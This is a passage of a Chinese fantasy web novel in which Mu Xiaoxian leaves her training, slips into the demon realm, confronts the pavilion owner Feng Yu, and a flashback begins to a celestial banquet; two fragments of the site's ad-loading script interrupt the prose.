自那日后,不知是不是慕小闲的错觉,红脸怪人对她的态度发生了很大的变化,譬如她居然亲自烤了只鸡留给慕小闲,美名其余给她压压惊。慕小闲不知她为何转了性,但送上门的鸡不能不要,于是和狒狒大快朵颐。 一日慕小闲起夜,一睁眼突然看到红脸怪人近在咫尺,吓得惊叫一声。问红脸怪人为什么大晚上在她床边,红脸怪人在她的追问下说,是怕她又做噩梦。 慕小闲半信半疑,红脸怪人什么时候变得这么好心?不过她确实再也没有做过噩梦。没做噩梦,但也没进入过神境,再也没见过晏离。 慕小闲日常陪红脸怪人练习她发明的奇奇怪怪的仙术,例如,仙人拦路、隔山打牛、漫步流星、浴火烤鸡...... “仙人拦路”可谓是仙人拦路打劫,指哪儿打哪儿,拦住对方去路。慕小闲抬脚多次被打断,根本无法落地,只能用单脚跳在林中乱窜。 “隔山打牛”寓意是相隔数里,依旧能够打中隔壁山中的鸡。问红脸怪人为什么要骚扰隔壁山的鸡,她望着一望无际翠绿的山头,沉默许久说此山更无鸡。 “漫步流星”将仙力化作繁星般散点,形成天罗地网,将敌人包围在其中。陪练小闲顶着锅盖在“流星”中四处逃窜,最终锅盖上留下了大大小小的窟窿。 “浴火烤鸡”名如其术,纯属一门野外生火的技艺。 奇怪!真是太奇怪了!慕小闲一度以为她遇到了骗子! 直到三年后的某夜,寂静山中忽然传来一声巨响。 躺下熟睡的狒狒挣扎起来,就见一袭红衣从眼前略过,直冲山林中而去。 山林中回荡着慕小闲狂躁的笑声,融融月色下,清瘦的身影迎风而立。看不清她的神情,却能感受到她身上漫出的肃杀之气。红脸怪人悄悄靠近,以为她又失了神志,立刻一击仙力打出,却被她轻而易举地躲过。 红脸怪人暗道不好,又欺身而上,却在靠近时发现慕小闲的眼中划过一丝清明又狡黠的笑意。两人双掌在空中一击,夜空中迸射出一阵亮光。 红脸怪人倒退几步,停下脚步:“你......” 慕小闲笑道:“你可能看出我有什么变化?” 红脸怪人将她上下打量几圈,忽而上手探向她的经脉,一团氤氲的白气包裹住慕小闲的身体,几招过后,她的眼中也溢出了欣喜之色:“你炼成灵丹了?” 慕小闲点点头。虽然不及当年阿筝的灵丹,但只要她再加把劲儿,日积月累一定能恢复当年的状态。 慕小闲依照约定离开,狒狒却执意留下跟着红脸怪人继续修行。 临别,红脸怪人问她,你不是天界之人,可否告诉我发生了什么?红脸怪人虽然性子古怪,但三年相处,慕小闲与她已无隔阂,于是将自己身上些许过往告诉了她。 红脸怪人听完深吸几口气,似乎有很多话想说,但最终并没有长篇大论,而是说:“去做你该做的事吧。” 慕小闲和狒狒惜别,遗憾地说:“答应要将你送回花神山,却把你留在了这里,等一切都结束了......” 狒狒打断她:“小闲,别煽情了不适合你。等我修炼得更厉害,我就能自己回花神山了。” 慕小闲轻笑一声,拍了拍他的胳膊:“授人以鱼不如授人以渔,我等着看你修炼的成果。我不在的时候不要偷懒,你可是花神山最后一只小猴子,要为花神山争口气。” 狒狒:“我才不会偷懒!” 慕小闲摆了摆手,她相信狒狒一定能做到。 她越走越远,昂首挺胸迎着山间第一缕晨光,一步一步走向她的命运。狒狒望着慕小闲离开的身影,坚定地说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“姨姨,小闲会成功的。” 红脸怪人瞥了他一眼,轻哼一声转身离去。 此地在青丘与魔域边境,慕小闲一直向西走,便入了魔域境内。 魔域边境就像一片荒漠,风沙呼啸,寸草不生。荒凉、辽阔,不知尽头。浑浊、沉重,天地一色。 慕小闲顶着日头走了很长时间,脚下的流沙随着她的行动轨迹不断变化。有时远远看见一座沙堆,等到靠近时却变作了一个巨坑。她一路走来,未见到一丝生气,好像这种无常变换,吞噬了一切生灵。 在远远看到一片绿洲与城墙时,她还以为出现了海市蜃楼。 城门前重兵把守,几名魁梧的侍卫手持刀枪笔直地站在城门两侧。 零零星星的人车向城门口汇聚,入境的数量不多,但几名侍卫却检查得很仔细,将来的人看了又看,还反反复复地翻着他们的行囊。 慕小闲排在了队伍的末端,前面是一辆宽大的马车,四面镶金丝绸包裹,车轱辘有半人高,一转吱吱呀呀地响。她躲在马车后悄悄观察,随着队伍向前挪移。 前面还剩五六人时,突然城门大开,一个身着紫色锦衣、长发玉冠的人带着几名侍卫从门内走出。鲜红的唇色衬得他肤色惨白,眼神带着危险的气息向队伍看来。 慕小闲赶紧缩回马车后面,将自己从头到脚遮挡起来。 兰渊?他早不来晚不来,怎么偏偏这个时候出城?慕小闲心里惶恐,立刻想要逃跑,但是四周并无遮挡之物,如果冒然离开,一定会引起他们的怀疑。 “最近有异常吗?”她垂着头,听到兰渊阴柔的声音。 “回主上,没有异常。”侍卫回应。 兰渊沉默了半晌,幽幽地说:“她会去哪里......” “如果看到了和那个女人相似的人,立刻告诉我。”兰渊沉声道。 “是!” 兰渊转身向城门内走去,突然脚步一顿,似是察觉到了什么,狭长的眼睛向队伍扫去。 在兰渊回头的瞬间,慕小闲从另一侧翻进了那座马车内。 马车一沉,慕小闲安稳落地。 谁料马车上居然塞满了形形色色的女人,她们穿着各式各样的服饰,神态各异,见慕小闲突然闯进来,也没有什么反应。 慕小闲来不及搞清楚这到底是辆什么车,就听到车厢外响起兰渊的声音:“车里装的是什么?” 对啊,她也想知道车里装的都是什么人。 “殿下,车里都是鸾喜阁新找来的女人。”车夫答道。 门帘被冷白的指尖掀起一角,车外的光线挤了进来,照亮了车厢一角。门边的姑娘向内挤了挤,身子向内侧过去,撇开头,似乎不想见到外面的人。 车夫突然道:“殿下,您知道的,东家不喜欢让人看见新来的姑娘的容貌。” 慕小闲头顶轰的一声,她居然躲进了个贼车! 门帘悬在半空,兰渊阴冷的目光暗暗在车厢内扫了一眼,须臾,那只冷白的手缓缓抽离。 “谢殿下!”车夫连连道谢。 车轱辘一转,马车与兰渊擦肩而过。 一束探究的目光好似追随着马车进入城内,直到这种被人盯上的感觉消失,慕小闲才松了口气。她偷偷趴在车厢的窗边,将帘子掀开一角向外眺望。 街上一片兴隆景象,错落有致的楼宇在道旁两侧排开,熙熙攘攘的人群身着简洁质朴的服饰在其间穿行。 与她想象中的魔域大不相同。她竟然产生了一丝错觉,以为回到了人间。 街上人流太多,马车走走停停,如果她冒然从车厢内跳出,恐怕会引起慌乱。慕小闲按兵不动等待时机,马车却突然驶入了一条人烟稀少的巷子,未几,穿过一道后门,驶入了一座建筑内。 帘子陡然被掀开,强烈的光线闯了进来,伴随着一阵奇异的香气。 “下来!”车夫喊道。 182. 第 182 章 鸾喜阁后院有一片旺盛的凤尾兰花,细长的茎叶娟秀淡雅,粉紫色花蕊不落俗世,在清晨朝阳露水的滋养下,迎风当立,柔和中不失坚毅。蕙草流芳,幽香远扬。这样的花一看就很矜贵,出现在这样的场所委实有些格格不入。 慕小闲路过时多看了几眼,漫不经心地打听小侍这是谁种的花,小侍回答称是东家亲手种的,已有上千年。 一日她又装作无所事事地在后院闲逛,突然听到小楼内传来打骂声。她本着看热闹不嫌事大的原则凑过去听,一听不得了,居然是阁里的一名小倌被客人打了。 约莫是位豪横的客人看上了阁里的小倌,在阁里留宿了几夜,又将人带了回去,没几日厌弃了便嚷嚷着要送回来。小倌哭着求他不要舍弃自己,他却当着阁里众人的面打骂他,说他不知廉耻。 小倌身子清瘦,在推搡间衣裳大开,其他客人见了也眸中多了些暗暗的玩味。 慕小闲这几日在阁里憋坏了,路见不平就要冲上去拔刀相助。小侍拦她不住,提醒别被人看到了脸,她扯下一块窗纱系在脸上,一脚踹开楼阁的后门,对着那嚣张的人影就是一拳。 那客人只觉一阵疾风呼啸而来,顿时眼冒金星,口鼻流血,后退几步撞散了几张桌椅,跌坐在地上。小楼的人一片惊呼作鸟兽散,躲得远远的。 “你是什么人?”一张嘴,牙齿碎了几颗。 慕小闲抱起双臂一身正气地俯视他:“我是你祖奶奶,不,我没有你这样的孙子!” 客人一身横肉,抹了抹脸上的血渍:“性子够辣,是阁里的新人?快来,让我瞧瞧。” 慕小闲一个回旋踢,正中他的胸口:“我让你瞧!” 客人捂着胸口,已是进气少出去多,哆哆嗦嗦地指着她问:“你......你知道我是谁吗?” 哎哟又到显摆身份的环节了?天界天庭、青丘、魔域三地最高的职位分别是天帝、青丘之主、魔域之主,也就是说身份上能与她慕小闲平起平坐的目前只有天帝和兰渊。 这样她便不怕了。 “我管你是谁!”慕小闲啪地扇了他一巴掌,将他想说的话打了回去:“他是一个人,不是你说要就要说扔就扔的狗!知道错了吗?” 客人的脸肿似猪头一点头又一颗牙从嘴里蹦出来。 “别打了,别打了。”小倌衣衫不整地抱起慕小闲的大腿哭道,脸上的妆容哭花了看不清本来的面貌。 慕小闲立马跳开:“你离我远一点。” 小倌哭道:“别打了,不是他的错,我不要你帮!” 客人扶着墙颤巍巍地爬起来骂道:“我教训自己的人也有错?你们鸾喜阁的人都不分青红皂白吗?” 慕小闲一巴掌过去:“是你要来闹事,是你仗势欺人,是你口吐莲花,你还说没错?” 患难之下,小倌和客人相拥而泣:“是是是,是我们错了,您高抬贵手!” 二楼凭栏处突然传来一个娇俏的声音:“今日鸾喜阁招待不周,全场酒水全免,大家不醉不归。”一抹倩影映在楼上的隔扇上,楼下有人小声说:“东家来了。” 鸾喜阁的人趁势出来打圆场,收拾残局:“都是插曲,继续继续!东家说了今日酒水全免,大家举杯痛饮!” 慕小闲在鸾喜阁大闹一场,柳夫人在她房间敲了一夜的算盘,说她必须在花魁大赛上拔得头筹才能抵消这次鸾喜阁的损失,并且罚她闭关三日,不准出门。 慕小闲懒得与她一般见识,白日里在房中乐得清静,深夜换上一身行头又是一条好汉。等夜深人静之时,她悄悄推开窗,见四下无人,踩着窗沿轻盈一跃,纵身飞上小楼的屋顶。 魔域城内高楼林立,小楼楼顶并不算高,但也能窥视一角。月色朦胧,城里一片静谧,几点昏黄的灯火点缀,摇摇晃晃看不真切。 柳夫人说鸾喜阁的看守很严,没有人能逃出去,但小楼四周无人把守,看管的人又藏在哪里?慕小闲不敢贸然行动,思忖片刻,捡起几粒石子在手中掂了掂,向院外抛去。 她侧耳倾听空气中的动静,等了半晌,不见有人影出没,却也没听见石子落地的声音。 她又捡起几粒,夹杂着一丝仙力,向院外抛去。这下她看清了,那几粒石子在落地前忽然被一阵风吹散成粉末。 慕小闲愣了一下,又不甘心地捡了一座小山的石子一个接一个抛出去。石子在半空中似乎遭遇了不测,全都化作一阵风灰飞烟灭。 慕小闲不信邪,加快了速度,一连串石子向四面八方飞去。 地上卷起一阵烟尘,石子全都碎成了粉末。 慕小闲扯了扯嘴角,背起手一时想不明白究竟怎么回事。 忽然,她耳朵一动,在寂静的夜里听到一颗石子落地的声音。她循声望去,那枚石子已经不见踪迹。 她不会听错,一定有漏网之鱼。 很古怪。 就好像有人在暗处跟她对着干似的,让她断了逃出去的念头。 慕小闲思来想去也不知道将自己留在鸾喜阁有何用,正当她没有头绪时,那天在小楼大厅哭闹的小侍来探望她。小侍约莫十七八的模样,在阁中唤作宝绿,洗掉妆容后也是一个清俊的人儿。 他向慕小闲作揖:“谢谢紫荆姑娘那日相救。” 慕小闲看他瘦了许多,心里觉得可怜,便让他进门喝口茶。 几杯寡淡的茶水下肚,心里的苦水便漫了上来。宝绿望着空杯,垂眸苦笑道:“我原本以为他是良人,没想到也是个薄情寡义的混蛋。世间的情爱真的是一种奢念吗?”话音末了,他垂下头掩饰眼中的晶莹,哽咽道:“让姑娘看笑话了。” 慕小闲安慰道:“你只是没有遇见对的人,他是个混蛋不代表所有人都是混蛋,会有人懂得欣赏珍惜你的。” 宝绿沉闷地点了点头。 “你还会待在这里吗?”慕小闲问。 “我怕是待不下去了。东家垂怜将我收入阁内,只要我安分待在这里,虽然不能锦衣玉食,但也能安稳地过下去。只可惜我被人蒙了眼。”宝绿眼神黯了黯。 慕小闲沉痛地点点头:“以色侍人,色衰而爱迟。能从这里离开也是件好事。” 宝绿抬眼,疑惑地眨了眨眼:“你说什么?紫荆,你是不是......不知道鸾喜阁在做什么?”见她面露迷茫,宝绿赶紧解释道:“鸾喜阁虽然听上去是声色场所,但其实做的并非皮肉生意,而是陪客人排忧解难。我只是受了那人的蛊惑,才做出了......才做了那档子事。” “你说什么?”慕小闲如遭雷击。只是牛郎馆吗? 宝绿看见慕小闲脸耳根红了,眼中带着一丝笑意说:“东家不喜欢我们抛头露面,也是为了保护我们的名声。若是有朝一日,我们能够自立了,就算从阁中走出去也不会遭人非议。” 慕小闲为自己丰富的想象力哭笑不得,点点头道:“你见过东家吗?你可知道他是什么人?” 宝绿思忖道:“这家鸾喜阁已有上万年历史,东家向来不喜见人,都是柳夫人出面主持阁中的事情,而且像我这样身份的人是见不着东家的。只要安分地待在阁中,东家不会为难我们,吃穿用度也不会亏待我们。若有人在鸾喜阁中闹事,他也有办法摆平。我想东家应当是个宅心仁厚之人,只是不善于交际。” 慕小闲思来想去觉得有必要会一会那个未曾谋面的东家,一来或许鸾喜阁不对劲的地方就出在东家身上,二来若是能与东家搞好关系,或许能打听魔域境内的消息。 慕小闲向身边的侍从表达的自己对东家的仰慕之情,希望能一睹东家尊容,和他促膝长谈。她没有错过侍从脸上短暂的错愕,等到晚些时候柳夫人便亲自登门。 “紫荆,听说你想见东家?”柳夫人脸上挂着笑问。 慕小闲恭敬道:“柳夫人这消息倒是灵通,不知可否帮我引荐引荐?我若参加花魁大赛,总要知道自己身后的金主是谁,心里才好有个底。你说是不是?” “东家贵人事多,近来不在阁里,等你在花魁大赛拔得头筹,他一定会亲自来恭贺你的。”柳夫人说。 慕小闲眼皮一跳,东家真的不在鸾喜阁? “是吗?” 柳夫人神色不变:“这还能有假?你这些天就为花魁大赛安心修养,别操心别的事了。” 慕小闲眯了眯眼,鸾喜阁的东家真的不在阁中吗?他究竟是谁?为何避她不见?难道是她认识的人? 那辆载她而来的马车被兰渊拦下时,车夫说鸾喜阁的东家不喜欢新来的姑娘被人看见真容,兰渊竟然没有深究。他与鸾喜阁的东家一定有交情,那么东家将她困在这里,是不是为了瓮中捉鳖? 慕小闲一计不成又生一计,跑进鸾喜阁的大厅,一掌掀了张桌子,对着目瞪口呆的客人道:“今日不宜出门,快点回家吧。” 客人身边的姑娘莫名其妙地看着她问:“你是紫荆姑娘吧?你说什么?” 慕小闲一击拍在阁中的柱子上,小楼晃了晃,吓得大厅内众人四处逃窜。 “今日不做生意,各位明天赶早再来。” 客人边逃边骂道:“你们哪里找来的疯子?我看鸾喜阁是不想做生意了,明日不来以后也不会来了!红宵苑不香吗?” “走走走!什么破地方!扫兴!” 鸾喜阁的众人见识过她的暴力,敢怒不敢言,小声议论道:“她这是做什么?客人都吓跑了。” “我金子都快到手了,今天白干了。不就是有几分姿色,凭什么让着她?” “看她才来几日,把阁里弄的乌烟瘴气。柳夫人也不管管?” 慕小闲对他们的指责很是满意,一脚跨在凳子上,扫视一周说:“让你们东家来见我。” 柳夫人匆匆赶到,看了一眼大厅的惨状,脸色一白,蹙眉骂道:“紫荆,你不要太过分了。你这样我们还怎么做生意?” “我怎么过分了?我也没拦你做生意,只要你将东家请出来见我,我就回去。不然我看这生意还是不要做了。” “你......”柳夫人指着慕小闲提起一口气就要发作,却不知为何生生憋住,手指缓缓收拢,柔声道:“都说了东家不在,你到底想怎样?阁里的兄弟姐妹要开张吃饭,你在这里待着也没有用,回房吧。我去找找东家?” 柳夫人给宝绿使眼色,让他也过来说几句。 宝绿从人群中挤出来,劝说道:“紫荆姑娘,我们知道你仰慕东家,但是强扭的瓜不甜,不能用这种方式胁迫他接受你啊。” 慕小闲心里一阵哀嚎,什么叫偷鸡不成蚀把米?人没见着还把自己的审美水平搭进去了。 “他一日不见我,我就一日不让他做生意。我看他能坚持到几时?” 慕小闲抬脚从凳子上下来,风风火火从大厅离开时,余光看到二楼一闪而过的人影,虽只有一剪影,但透过门扉都能感到他身上与众不同的气度,她愈加肯定东家一定就在鸾喜阁。 慕小闲原本以为堵东家的财路,能让他现身见她一面。没想到这位东家颇有骨气,第二日竟然直接关上鸾喜阁的大门,说要整顿休假一段时间,择日重新开业。 她居然直接把一间牛郎馆搞得停业整顿了? 慕小闲心事重重地在后院里闲逛,揪了一把杂草在手中撕扯,无意间走进了院子里的凤尾兰花园子。满目粉紫色的兰花娇俏可爱,在清风中摇摆,似乎为她的到来欢欣雀跃。她叹了口气,伸手抚上一朵兰花瓣儿。 “紫荆姑娘,当心点,这可是东家最宝贝的凤尾兰花。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”身后的小侍在见识过慕小闲的喜怒无常后,对她的一言一行都紧张得很。 慕小闲一顿,嘴角扬起一个诡异的弧度,侧过头幽幽地望向小侍,眼泛金光:“你说,这是他最宝贝的......凤尾兰花?” 小侍吓得后退一步,眼神慌乱地低下头:“紫荆姑娘,你可不要做傻事啊。你要是对凤尾兰花做了什么,东家......东家会生气的。” “要的就是他生气啊。”慕小闲邪魅一笑,手上燃起一团火焰。她就不信东家没有在意的东西! “再不出来我就一把火烧了这些兰花!”慕小闲手上的火苗落在凤尾兰花上,瞬间火势增强,将一整株吞噬。 一阵疾风刮过,一个身影突然跃至她身前,鲜艳的橘色衣袖在风中急迫地翻飞,仙力一拢,火势立刻熄灭。 “你终于舍得出来了?”慕小闲在一旁冷眼相对。 橘色的背影一僵,转过身哭丧着脸说:“小闲闲!我好吃好喝地招待你,你为什么连花都不放过!我的宝贝小兰花啊!” “你看清楚了,我可没动你的宝贝兰花。”慕小闲抬了抬下巴,示意他仔细看。 凤钰回头一看,眼神一亮,那株凤尾兰花完好无损,依旧粉粉嫩嫩、娇娇滴滴。 “就准你忽悠我,我不能使个障眼法?”慕小闲挑了挑眉。 凤钰扯了扯嘴角,有些心虚地瞟了慕小闲一眼:“哈哈哈哈都是误会,我就知道小闲闲不会糟蹋我的花。我这不是听说有个小姑娘仰慕我的俊美神颜,非要见我一面,所以一回到鸾喜阁就赶过来了吗?” 慕小闲向他逼近一步:“一回到鸾喜阁就过来了?那日夜里暗中将石子击碎的是鬼?” 凤钰眼波一荡,看了她身后的小侍一眼,对她讨好似的笑笑,低声道:“我们进去说,进去说。” 慕小闲随凤钰走进鸾喜阁的阁楼,上头有间专属东家的厢房,平日除了凤钰无人能进。一路上遇见几位阁里的人对凤钰毕恭毕敬,见他身后跟着的慕小闲都难掩惊愕。 小侍没有跟上楼,凤钰将慕小闲带进房内。房里围着几层薄纱幔帐,光线很暗,开门时幔帐随风轻舞,带来一阵若有若无的幽香,为这间陈设简单的屋子染上了旖旎之色。 暗,仿佛包裹着巨大的秘密。 冷,仿佛将温暖拒之门外。 这间阁楼的布置不像凤钰的风格,但落脚之处干净整洁,寥寥陈设保养得极好,能看出主人的心思。 凤钰在榻边一高脚桌上的鎏金莲纹香炉里添上香,手上的扇子轻轻在香炉上扫了扫。香气如烟渐渐飘散,竟然是十分雅致的清香。他闭上眼睛,肩上一松,似乎在细细品味这种香气特有的舒畅之意。 慕小闲不知凤钰葫芦里卖的什么药,按捺不住问:“凤钰,你将我困在这里又避之不见,究竟是什么意思?” “还能是什么意思?你远道而来,我不过是想留你在我的店中多待机日,享受一下店里最上乘的服务。知道我是东家不就没意思了?怎么?是我招待不周吗?”凤钰笑道。 慕小闲望着他,目光中毫不掩饰的怀疑:“凤钰,你当我傻吗?” 凤钰手上一顿,又听到慕小闲接着问:“你和魔域之主兰渊是什么关系?” 凤钰转过身,不知是房间的光线太暗还是香炉的熏烟迷了眼,他眼底划过一丝晦涩。 慕小闲也是经历过大风大浪的人,心头如坠着石头,隐隐约约觉得事情并不简单。 凤钰在桌边坐下,又不着调儿地眨眨眼睛:“你觉得我和他能有什么关系?他长得不错,不过太过阴冷,我不喜欢这一款。” 慕小闲望着他沉默不语,半晌,身体靠后远离了桌子:“你知道我不是这个意思。” 她看着凤钰的眼睛,极为认真地问:“你有事瞒着我,事到如今,我还有什么是不能知道的?” 凤钰干笑两声:“做什么突然这么严肃,我和你开玩笑的不行吗?” 慕小闲拧眉,深沉地望着他,想要从他的神情上看出一丝端倪。凤钰伪装得很好,除了他身上稍显紧绷的气息。 凤钰垂下眼睫,悄然避开她的目光,拎起桌上的玉璧提梁壶,给自己满上茶水,幽幽问道:“你…… “你都知道了?” 慕小闲叹了一口气:“如果你是指我的身份,那么我都知道了。不过,这和你有什么关系?” 凤钰勾了勾嘴角,带着一丝苦涩:“你知道了青丘发生的事情,却不知天庭和魔域发生了什么。” 慕小闲轻呵一声,对天庭和魔域之前的纠纷不感兴趣且不以为然。就算他们之间有天大的仇恨,将青丘无辜卷入纷争算什么?青丘可没做过对不起魔域的事情。 “魔域发动神魔大战,将天界生灵置于水深火热之中,迫害了多少无辜的人。天庭打败魔域惩恶扬善,有什么不对?魔域处心积虑想要复仇,手段残忍卑劣,又牵连了多少无辜的人?你究竟站在哪一边?”慕小闲义愤填膺地说。 “啪”地一声,桌上静置的茶杯猝然碎裂,水花四溅。凤钰抬起头,悲愤染红了他的双眸,他目眦欲裂,咬牙道:“你根本什么都不知道!” 慕小闲从未见过凤钰这幅模样,他总是漫不经心、吊儿郎当的样子,就像带着一副迷惑人心的面具一般。饶是当年在天庭的暗河前,他偶然流露出的激动也远远比不上此刻的愤懑。 她突然意识到,此时此刻的凤钰才是真实的他,这种如同海浪般汹涌的情绪才是他一直掩藏的真实感情。而这一瞬间的失态,不过是贯穿了数千年巨大悲伤洪流中的一粟。 慕小闲的心被紧紧攥住,她无法抑制地想要一窥究竟,倾身盯住他的眼睛问:“我什么都不知道?那你告诉我,把来龙去脉全部告诉我。” 183. 第 183 章 幔帐摇曳,一缕熏香氤氲成圈,随着门窗缝隙透入的风悄然而去。 刺眼的白光渐渐点亮视野,一名穿着霓裳的仙女小心翼翼地捧着金贵的花瓶匆匆从云间掠过,急急忙忙朝玉霄殿飞去。行至半路,忽然脚下一歪,身体向前扑去。她吓得倒吸一口凉气,闭上眼睛将两只手高高举起,宁可让脸着地,也不敢摔了手上这天后珍藏的宝贝。 疼痛并未从脸上传来,她缓缓睁开眼睛,与面前之人大眼瞪小眼。 “荷花仙子,你还好吗?”对方垫在她身下,勾起玩味的笑意,目光大胆又放荡地打量着她。 彼时凤钰稍显青涩,一双凤眼灵动妩媚、顾盼生辉,眉宇间透着与生俱来的放荡不羁和潇洒随意,仿佛将世间万物都尽收眼中,却没有什么真正在意的事情。 一身宽大的橘色祥云纹镶边飞凤锦衣,在拉扯间露出了肩颈大片白皙的肌肤,他也丝毫不在意,依旧擒着一丝不着调的笑。 荷花仙子心里一颤,赶紧从他身上起来,敛眉不悦道:“这不是上古神兽金凤凰凤钰公子吗?你怎么躺在这里?你可知,你方才差点绊倒我?我摔了不打紧,要是摔了......” 荷花仙子看着空空如也的双手,尖叫出声。 “玉宝瓶去哪儿了?” “这就是玉宝瓶?”凤钰将瓶子拿在手中掂了掂,不以为然地挑了下眉:“也就天后那个老女人喜欢这种经看不经用的东西,这种瓶子连“我最想要宝物排行榜”前一百都排不进去。” 荷花仙子气道:“凤钰公子,你怎么能对天后出言不逊?你......你快还给我!我要赶紧送去大殿!” 凤钰随手将玉宝瓶抛给她,玉宝瓶在空中划过一道弧线。荷花仙子紧张得不行,立刻飞身上去接,哪成想那玉宝瓶竟像是鱼儿一般从手中滑出,在空中四分五裂。 瓶子碎片与荷花仙子一同跌落在地上,荷花仙子怔怔地看着碎片零零散散落地,瞬间泪如泉涌,怨恨地看向凤钰:“你都做了什么好事!为什么要和我过不去?天后不会放过我的,她会让我灰飞烟灭的......”荷花仙子边哭边推搡起凤钰:“你还我玉宝瓶!还我玉宝瓶!” 凤钰也不知为何玉宝瓶会突然碎裂,看到荷花仙子哭成泪人才发觉事态严重,于是安抚道:“不就是一个瓶子,我帮你变一个,绝对不会被天后发现。” 他手指一动,一个一模一样的瓶子出现在他的手中。他将“玉宝瓶”递向荷花仙子:“你只管将这个瓶子送到大殿,就算让天后亲自查看,也绝对发现不了异样。” 荷花仙子停下啜泣,细细打量他手中的瓶子,半信半疑道:“这真的能行吗?过几日的沧澜宴你是知道的,要是出了岔子,我们一众筹备的姐妹都要遭秧。” 凤钰轻笑一声,眼神暧昧地勾着荷花仙子,低声说:“不会有问题的,你还不信我吗?”他拍了拍荷花仙子的肩膀,继而扬长而去。 荷花仙子目送他走远,转身眼神一黯,低声骂道:“真是触霉头。不就是个没有一官半职的散仙,仗着自己岁数大作威作福,要是这次我能......哼,给我等着。”她想到刚才凤钰的浪荡样子,厌恶地抖了抖身子。 沧澜宴是何许盛宴? 那是上万年才有一次,天界名流贤士齐聚一堂的盛宴。来参加宴会的客人有天庭、青丘、魔域的贵主,也有分布在天界四处天赋异禀的奇仙异士。 每逢沧澜宴设宴,会提前十年寄出请柬。许多神仙妖魔会想尽一切办法获得这张请柬,以证明自己的尊贵,一睹沧澜宴的风光。 凤钰作为世间唯一一只上古神兽金凤凰,传说与天地同寿,甚至在日月分化之前他就存在于世间。虽然本人从未承认过自己的真实年龄,但他当之无愧具有参加沧澜宴的资格。不过他参加了数百次后,委实对这种曲意逢迎的场合提不起兴趣。 沧澜宴设在天庭名山泰沧山中,泰沧山脉绵延数千里,巍峨险峻,耸立云端,若无指引,便是绕上七天七夜也未必能上山。于是乎,开宴前一月,受邀的名流便会陆陆续续从天界各处赶来。 凤钰掐着时间,在前一日傍晚赶到泰沧山脚下。 两名着上好锦衣,扎着双丫髻的门童守在泰沧山山门口,对前来拜访的客人作揖,查验他们手中的请柬。 此时已近日薄西山,寒气渐重。客人们几乎都到齐了。 山门口没有别人,清幽的山间,凤钰鲜艳的橘色衣袍如同一团火焰。他大摇大摆地走上前,被两位门童拦住:“凤钰公子,您的请柬呢?” 凤钰神情一愣,摊开衣袖:“我还需要请柬?” 门童道:“凤钰公子,需要请柬才能进山门,这是从古至今的规矩。” 凤钰舔舔唇:“十年前寄的请柬早就不知随手扔哪儿去了,怎么?难道没有请柬,我就不能进去?” 门童道:“谁拿到沧澜宴的请柬不是如珍如宝地收好,您怎么能随手扔了呢?” 凤钰耸耸肩:“或许是我不想参加?既然没有请柬不能进山,那我回去便是了。” 凤钰转身便想离开,被门童叫住:“凤钰公子,您的名字记录在宴客名册上,若是无故缺席,天帝会追问的。” 凤钰扯了扯嘴角,转回身轻浮地挑了下眉:“你们既不放我进去,也不放我回去,那我到底应该怎么做?” 两个小童对视一眼,眼中皆有些迟疑,转首一致道:“请您再找一找。” 凤钰抱着双臂站到他们身边,小童不明所以地问:“凤钰公子,您在做什么?” 凤钰粲然一笑,眼中满是算计:“我偷偷在这里守着,若是有人来,我就抢了他们的请柬进去。” 小童大骇:“这怎么行?请柬上是有名字的,就算拿了别人的请柬也进不去。” 凤钰故作无奈:“这也不行,那也不行,我看我还是回去的好。请你们跟天帝说一声,我丢了请柬,不好坏了规矩。” 凤钰提步就走,约莫走了几步,就见一辆马车自云间踏来。 车厢披着一身紫色的绸缎,绣着暗色的纹路,乍看之下略显单调,定睛一看那绸布是锦绣华绸,暗纹是金丝银线一针一针勾勒出的,不是寻常仙家能接触到的。 凤钰微微垂下眼睑,眸光在与马车错身而过时,悄悄透过随风略微掀起的竹帘,向车厢内打探。 车里坐着两个男人。 马车的门帘掀起一角,两张请柬从车内飞出,落在两位小童眼前。 小童打开请柬核对了一下名字,侧身让开进山之路,毕恭毕敬地说:“兰霄公子,兰阙公子,恭候多时。” 姓兰?凤钰抬眼多看了马车一眼,兰是魔域的大姓。天界三地虽表面和平共处,实则暗中波涛汹涌,不知道哪一天就会打破虚假的平静。魔域不似天庭身道正义,青丘民风淳朴,显少参加人多耳杂的聚会,也很难与神官打成一片。 凤钰甚至不记得上一次见到兰家是什么时候。 车内突然传出一个清润的声音:“那位公子可是忘了带请柬?” 小童答道:“是的公子,没有带请柬是不能进山的,这是沧澜宴的规矩。” 车内沉默了半晌,凤钰听到一个压得极低的声音沉沉道:“莫要多管闲事。” 原先那个清润的声音却道:“沧澜宴汇集天界三地的名流贤士,意在海纳百川、开放包容。参加沧澜宴携带请柬虽是礼节,若是因为礼节拒人于千里之外,便失了沧澜宴原本的意义。我看这位公子刚才与两位小童寒暄良久,应当先前是认识的。” 两位小童对视一眼,眼中的为难之意更甚:“可是......” 凤钰轻笑一声,从马车之后踱步而来,从袖口掏出一张精巧的帖子:“多谢二位费心,我是逗这两位小童玩儿呢。看,我的请柬就在这里。” 两位小童翻看凤钰的请柬,确实是真的,莫名其妙地瞥了他几眼,不敢多嘴,从山门让开说:“凤钰公子,恭候多时。” 马车轱辘一转,凤钰跟在马车后优哉游哉地向前。马车未走几步突然停下,车内沉稳的声音道:“凤钰公子也要去聚贤阁休息?” 聚贤阁是依托在泰沧山上的宅邸,专门给远道而来的客人临时落脚的。 聚贤阁现在一定人满为患、热闹非常,凤钰懒得应付一众仙人纠缠,于是调转方向道:“不了,西边山中有处静谧的温泉,我难得有机会来此一趟,先去享受一番。” 泰沧山脉是天庭神官修养的圣地,自然也会有些外人不知道的好地方。凤钰一次沧澜宴期间在山中闲逛时,无意间发现了一处温泉,位置偏僻幽静,平时无人问津,就成了他一人的秘密。 多年未来,池子旁杂草丛生,凤钰一挥袖将池子打扫干净,褪去衣裳没入水中。热气升腾,蒸气像一缕薄纱萦绕在他的四周。他有些乏了,便靠在岸边合上眼休息,不知过了多久,风中突然衣裳摩挲的细微声响。 他缓缓睁开狭长的凤眼,慵懒地望了一眼声音的来处。 沧澜宴管理森严,他倒不怕有危险,但他的秘密温泉若是被人觊觎,他可是会心烦的。 “西边应当是这边......”一个模糊的身影说完,转头向北边走去。 凤钰抿嘴一笑,这声音不就是刚才马车中的那位替他说话的公子?只是不知道是兰霄、兰阙中的哪一位? 